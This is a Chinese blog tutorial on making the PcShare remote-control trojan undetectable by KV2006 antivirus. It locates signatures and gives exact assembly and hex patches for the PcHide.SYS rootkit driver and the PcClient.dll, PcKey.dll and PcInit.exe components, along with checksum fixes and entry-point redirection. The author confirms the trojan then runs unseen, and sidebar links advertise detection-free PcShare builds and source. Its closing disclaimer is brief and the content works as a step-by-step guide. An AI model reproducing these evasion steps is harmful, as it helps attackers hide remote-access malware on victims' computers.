终级免杀之PcShare Vs KV2006

Pcshare远程控制misswe高级免杀版深度解析 本文还有配套的精品资源,点击获取 简介:Pcshare远程控制misswe高级免杀版是一款应用于技术支持、系统维护和网络安全管理等领域的远程监控与管理软件。它通过特定技术避免安全软件检测,但存在法律风险和安全隐患。本文深入探讨了其工作原理和关键技术点,如TCP/IP通信、端口映射、权限获取、隐蔽性技术、用户界面、安全性问题以及防范措施,强调了合法使用与网络安全防护的重要性。... 阅读详情
终级免杀之PcShare Vs KV2006:含驱动的特征码修改(简单版)


1、  驱动程序PcHide.SYS的修改
先来修改驱动的文件特征码吧。第一步是用CCL确定其特征码位置,CCL的使用过程就不再赘述了,直接用自动定位功能,检测大小为10,检测范围为text既代码段。直接看定位结果如下:
0001 000003DC 0000001F 000003FB
0002 000003FC 0000003E 0000043A
0003 00001C78 0000001F 00001C97
0004 00001C98 0000003E 00001CD6
0005 00001CD7 0000003E 00001D15
看看结果,虽然有5处数据,但前2段和后3段分别相连,也就是说PcHide.SYS总共只有两处特征码,分别在000003DC到0000043A和00001C78到00001D15。像这样两处相连而又相隔较远的情况,一般说来两处必须都要修改。(在结果较多且较分散时,判断起来会麻烦一点,所以我给CCL加了个功能,可以很快确定至少要修改几处,修改哪几处。将在下文介绍。)
下面是IDA反汇编,看代码。先来看3DC处的(如图1):

图1


看来不是汇编指令。没关系,在IDA中切换到Hex View窗口观察,原来是字符串"D:/PcShare/瘝鐗堟湰/PcHide/objfre/i386/PcHide.pdb"。中间的乱码没关系,因为我们看到了PcShare和PcHide。改字符串最简单的方法是改大小写,原则是不能干扰原文件执行。这里的字符串给出了一个pdb文件(符号文件?)的路径,虽然我不知道它的具体作用,但大小写改变应该没问题。于是,在UltraEdit中将该处的大写字母全改为小写,完后保存。
光修改这处不行,KV检测一下还会报警,也证实了前面的判断——两处都要修改――是正确的。再来看第二处1C78的代码,修改该处代码既是重点又是难点。
…
.text:00011C78 xor ecx, ecx
.text:00011C7A cmp byte_12280, cl
.text:00011C80 jz locret_11D68
.text:00011C86 push esi
.text:00011C87 cli
.text:00011C88 mov eax, cr0
.text:00011C8B and eax, 0FFFEFFFFh
.text:00011C90 mov cr0, eax
.text:00011C93 mov edx, dword_130EC
.text:00011C99 mov edx, [edx]
.text:00011C9B mov esi, dword_130E0
.text:00011CA1 mov eax, ds:ZwQuerySystemInformation
…
修改的难点有二,一是该段中包含跳转指令jz,二是指令的顺序没法交换。驱动程序是在内核执行的文件,所以修改时一定要注意,能不添加代码就不要添加,尽量不改变原代码的整体大小。因此,这里用了个特殊的方法。注意这一句and eax,0FFFEFFFFh。要知道eax是CPU最常用的寄存器,因此操作eax的指令通常既短小速度也快,我们看一下这句指令的十六进制编码:25 FF FF FE FF。很明显,25是指令,FFFFFEFF是参数。而and ebx,FFFFFEFF的编码是什么呢?最方便的查看指令编码的工具就是OD了,用OD任意打开一个可执行文件(OD不能直接打开驱动文件),做一下试验,得到编码为:81E3 FFFFFEFF。呵呵,多了一个字节。(看一下Intel指令参考就知道,81代表and指令,E3代表ebx及操作方式,确实eax的指令被优化了。)我们的思路,将这里的寄存器改为ebx。但多出的一字节怎么办呢,不能将所有的代码都向下平移吧!呵呵,我们要在下面的代码中将这个字节找回来。看mov edx, dword_130EC,它的编码为:8B 15 EC 30 01 00,足足6字节。把这里的edx换为eax会怎么样,同样在OD中键入mov eax,dword ptr ds:[130EC],看到了吧,它的编码为:A1 EC300100,只有5个字节,这样代码的大小就平衡了。
还有一个问题要注意,为什么可以将edx改为eax,如果eax存有其它的值怎么办,那不就改变原程序的执行结果啦。不会的,因为向下三行有这样的代码:mov eax, ds:ZwQuerySystemInformation,说明eax的值在这里被更新,因此可以判断出修改eax的值不会影响程序执行。方法已经有了,下面修改。先在OD中将如下代码键入(加黑体的是我们修改的地方):
10003817 0F20C3 mov ebx,cr0
1000381A 81E3 FFFFFEFF and ebx,FFFEFFFF
10003820 0F22C3 mov cr0,ebx
10003823 A1 EC300100 mov eax,dword ptr ds:[130EC]
10003828 8B10 mov edx,dword ptr ds:[eax]
5句代码共19个字节,与未修改时的一样。由于OD不能直接打开SYS,所以我们用UltraEdit打开PcHide.SYS,直接修改十六进制数据。修改完后保存,再用KV检测。怎么样,文件免杀成功。

下面是非常关键的一步,修改文件的校验和(CheckSum)。这一步也许是众多网友修改后的驱动无法加载的原因。用PeInfo打开sys文件,点击CheckSum,程序自动计算出结果,再点修改就可以了(如图2)。

图2


那么驱动的文件特征码改完了,内存的需不需要改呢?我们来试一下:用驱动加载程序将PcHide.sys加载到内存中,用KV进行内存检测。加载工具用InstDvr(www.rootkit.com/vault/hoglund/InstDvr.zip),运行时输入sys文件全路径,先是Install安装,然后Start开始执行。若显示Operation was successful,表示操作成功(如图3所示)。用KV检测,呵呵,检测不到,这样就避免了我们修改内存特征码的麻烦。(没试之前我还真犯愁,CCL暂不具备定位驱动文件内存特征码的功能,这下可以偷懒了,不用再写代码!)

图3


2、  PcClient.dll、PcKey.dll与PcInit.exe的文件特征码修改

PS共包括四个关键文件,除了那个SYS处就是这三个。既然不是驱动程序,修改起来真是得心应手。过程就不多说了,只详细说一下改PcClient.dll的,其它直接给出结果,中间的注意事项会提出来。
PcClient第一次定位设置:手动,生成100个文件,范围为整个文件。定位结果为:
0001 00000000 0000028E 0000028E
0002 00002B6E 00000147 00002CB5
0003 000036ED 00000147 00003834
0004 00007D2E 000002D2 00008000
  注意,手动检测如果能剩余多个文件不被杀(文件头被覆盖的除外,比如0001项),说明该文件既使有多处特征码,也只需修改一处既可免杀。看结果,范围较大,我们将定位精度调高,再检测一次。将CCL设置为:手动,替换精度16字节,范围为00002B6E开始处0x147个字节(既选取了0002项),再次定位结果就一项:
0001 00002C3E 00000070 00002CAE
  为什么我们将精度设为16,结果的范围却这么大,为70。这说明该特征码本身范围较大,任意改动一小处既可搞定。OK,都不用IDA出手,直接用OD打开PcClient.dll,来到10002C3E处,有如下代码:
…
.text:10002C41 mov edi, [esp+lpServiceName]
.text:10002C45 mov esi, eax
…
.text:10002C81 mov edi, [esp+lpDisplayName]
.text:10002C85 mov esi, eax
…
  好爽,最简单的方法,交换顺序既可。保存后再用KV检测,免杀again!
  下面是其余两个文件的修改,这时我没用手动,而用了自动定位,检测范围就是text段,给出结果先。PcKey.dll这样修改:
.text:10001191 mov esi, eax
.text:10001193 test esi, esi
.text:10001195 jz short loc_100011F7
.text:10001197 mov ecx, 0FFh
.text:1000119C xor eax, eax
.text:1000119E lea edi, [esp+608h+var_400+1]
  将test esi,esi换为or esi,esi既可。(晕死,改了一个字节就搞定,服了KV!)PcInit.exe共修改两处,一处是
.text:004016AE stosd
.text:004016AF stosb
第二处是
.text:004017CE test eax, eax
  怎么改不用我说了吧。交换顺序,test变or。再检测,成功。到这里,三个文件的文件特征码全部修改成功。这里说一下上文提到的CCL定位结果排列组合功能,比如在定位PcKey.dll时,自动定位结果为:
0001 00001180 00000070 000011F0
0002 00001790 00000020 000017B0
0003 000017C0 00000010 000017D0
0004 000017E0 00000010 000017F0
精度已经够小了,可四处结果先改哪一处好呢。这时就可以用CCL的该功能:打开PcKey.dll,导入刚才的定位结果,然后点生成(如图4)。在output文件夹里生成了一些文件名为R_X_XXXXXX的文件。用KV对output文件夹扫描,完后删除报警的文件(这里一个也没有删除),再点击检测钮,CCL会给出如下结果:

只修改一处特征码时,仅需修改
第 1 处
或 第 2 处
或 第 3 处
或 第 4 处

同时修改两处特征码时,可以修改
第 1 处 和 第 2 处
或 第 1 处 和 第 3 处
或 第 1 处 和 第 4 处
或 第 2 处 和 第 3 处
或 第 2 处 和 第 4 处
或 第 3 处 和 第 4 处

同时修改三处特征码时,可以修改
第 1 处 、第 2 处 和 第 3 处
或 第 1 处 、第 2 处 和 第 4 处
或 第 1 处 、第 3 处 和 第 4 处
或 第 2 处 、第 3 处 和 第 4 处

这说明只需任意修改一处既可。爽吧,不用一个个去试了!

图4

3、  内存特征码的修改
  过去我们已经验证了瑞星的文件和内存用了两套特征码,现在KV也具备了内存检测功能,是否也同样是两套特征码呢?我试了一下,生成服务端并用KV检测,不报警,说明文件特征码已成功修改。但双击运行一下,告知没有权限或找不到文件,一切对服务端文件的操作都给禁止了,这肯定是KV搞的鬼。原理我不太清楚了,也许是KV虚拟机执行后检测到内存特征码吧,但这说明一个问题:内存特征码也得改!
定位内存特征码时可按图5操作,每一回合点暂停,并用KV检测内存,根据报警文件的名称选择CCL的复选框,再点击运行,进入下一回合,直到最后CCL给出结果。至于KV提示的"是否清除",点否既可。


过程不讲了,直接给结果。对于PcClient.dll,将10002C49处的call 10002BA0改为call 10002C67,并在10002C67处的空白添加如下代码:
10002C67 E8 34FFFFFF call PcClient.10002BA0
10002C6C C3 retn
相当于做了一个间接的CALL。
  第二个PcKey.dll在改完文件特征码后直接内存免杀,检验的方法为用OD加载,并用KV检测内存,dll和exe方法一样。
就剩下PcInit.exe了,还真有点麻烦,因为会出现定位结果处怎么修改都不行的情况,下面边说边解释,并给出解决方法。PcInit.exe的内存特征码定位结果倒是很简单,就一处:
0001 00001798 00000010 000017A8
该处代码为:
00401798 je PcInit.00401A58
0040179E mov eax,dword ptr ss:[ebp-20]
004017A1 cmp eax,dword ptr ds:[esi+8]
004017A4 jnz PcInit.00401A58
修改起来很简单,将je处的跳转地址改为一个空白地址004025E0,在空白处添加一个jmp就可以了:004025E0 jmp PcInit.00401A58。可这样修改后,用OD加载仍旧报警。我在这里耽误了好一段时间,最后决定改一下入口试试。在空白处添加新的入口:
004025E5 68 3C244000 push PcInit.<ModuleEntryPoint>
004025EA 58 pop eax
004025EB FFE0 jmp eax
保存后用PeInfo将PcInit.exe的入口改为000025E5。保存修改后再用OD加载并用KV检测内存,呵呵免杀。看来杀软的特征码判断确实和入口处代码(或偏移)相关,至少对待一部分程序是这样。

4、  效果检测及PcShare的卸载
由于我没有肉鸡,所以只能在自已机器上检测一下运行情况,而能否正常工作就不试了,应该没问题。先生成服务端,再打开KV的全部监视,双击运行。嘿嘿,服务端的图标一闪就没了,而KV丝毫没有察觉。打开IcsSword,在SSDT里查看PS驱动是否加载。如图5所示,列表中红色的Yxxxxxxx.sys就是PS的核心,PS的文件名总是以Y开头,后面7个字母随机。还有几行红色的KRegEx.sys是什么呢?那是KV的驱动。查看进程,多了个iexplorer.exe,关闭它马上又会重启,这是因为在一个svchost.exe的进程中有守护线程。


图5

打开KV,此时无论你用内存检测还是文件检测都没有用了。(如果可以检测出来,当初KV是不会让PS加载的。)顺便讲一下删除的方法,先在IceSword里的File里将windows/system32/drivers/Y*.sys删除,再重启动计算机。这时另一个被释放的文件windows/system32/Y*.D1L及注册表中的数据就现身了,删除之(也可以启动到DOS下删除)。在注册表里查找Y*,删除所有项就OK了。btw:IceSword确实猛!

5、  结语
看来靠无休止的升级杀毒软件和打补丁是没法儿保证电脑的安全的,主要还是用户的安全意识和水平的提高。介绍这个方法不是让大家都去改马,而是探讨一种方法,也是为了杀软更好的进步。
 
PCshare源代码合集,最终版本源代码 立即下载

相关推荐

pcshare免杀版(无壳)

pcshare免杀版(无壳)pcshare免杀版(无壳)

我Python你个内置模块 / 第三方模块

一、python内置模块 1、time 1)time.time():返回的是从1970年1月1日0时0分0秒到现在经过的秒数 2)time.locaoltime():返回的是当前系统的时间 3)time.strftime():返回的是指定格式的时间 4)sleep() 2、random 1)random.randint():从1到9返回一个随机整数 2)random.choice():从序列中返回一个随机元素 3、sys sys模块提供与当前python解释器和python执..

maoxuexue的博客 435

pcshare远控高级免杀版

pcshare远控高级免杀版,过小红伞,瑞星等杀毒软件。

驱动级的特征码修改——终级免杀之PcShare

PcShare可算国内最优秀的远程控制软件之一,其特有的驱动级隐藏技术让PS的隐蔽性有了质的提升。可再好的隐藏也必须先过安装这一关,由于杀软的特征码库中早已有PS的代码,所以在开监测的情况下,当服务端释放*.D1L和*.SYS两个文件时杀软会报警,因此没法儿安装。这时应该做什么?当然是免杀。加壳是没用的,要改特征码。改文件和内存特征码在前几期的黑防都已介绍过,照旧修改...

weixin_34112208的博客 1453

PcShare 2010

PcShare 2010 很好用的 PcShare 2010 版本,键盘记录集为一体,服务端体积小,过如卡巴等 SSDT挂钩的主动防御 PcShare免杀版 比 灰鸽子 好用 2010PcShare 键盘记录 PcShare

PcShare2010企业免杀版

PcShare2010企业免杀版 `

开源一款远程控制软件 —— pcshare

这里开放一款远程控制软件的源码——pcshare,该软件分为被控制端和控制端。部分界面如下:控制端通过寄生在被控制端的后台程序来实现控制,可以对被控制台进行文件管理、屏幕监控、键盘监控、监控管理、查看被控制端的服务和注册表,甚至是控制被控制端的摄像头。一、软件使用方法介绍:1. 启动PcShare.exe,这是控制端主程序,该程序会在8080端口上监听被控制端的连接。2. 生成被控制端宿主程序,点...

左雪菲的专栏 6万+

pcshare免杀版.zip

pcshare免杀版.zip 无毒无后门

Pcshare高级专版20080615免杀发布(无壳)版

Pcshare高级专版20080615免杀发布(无壳)版 完全免费,打开即可使用,最经典的,本人最爱的,绝对超值

PcShare个人免杀版

PcShare20090925个人免杀版

pcshare个人专版 免杀主流杀软到6月28号

pcshare个人专版 免杀到6月28号 发布时依然免杀瑞星 别的没试

PcShareVIP弄来的免杀思路

有些东西还是不错,有许多已经是老东西了!------------------------------------------------------其实也不只是pcshare别的木马也都差不多需要准备的软件为1.定位特征码的软件 myccl 或者multiCcL12.修改软件c32asm ollydbg ultraedit winhex LordPE peditor w32dasm3.一些辅助软件

2419

PcShare(远程控制)

控制台已经合成一个文件. 屏幕监控和视力频监控已经换用gdi+,现在速度非常快了. 免费版本的PS肉机端只剩两个文件,连接改成tcp 上线方式做了改动,重在稳定性

上一篇: 对Rav2005中HOOK的初步分析
下一篇: 免杀必备-花指令
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值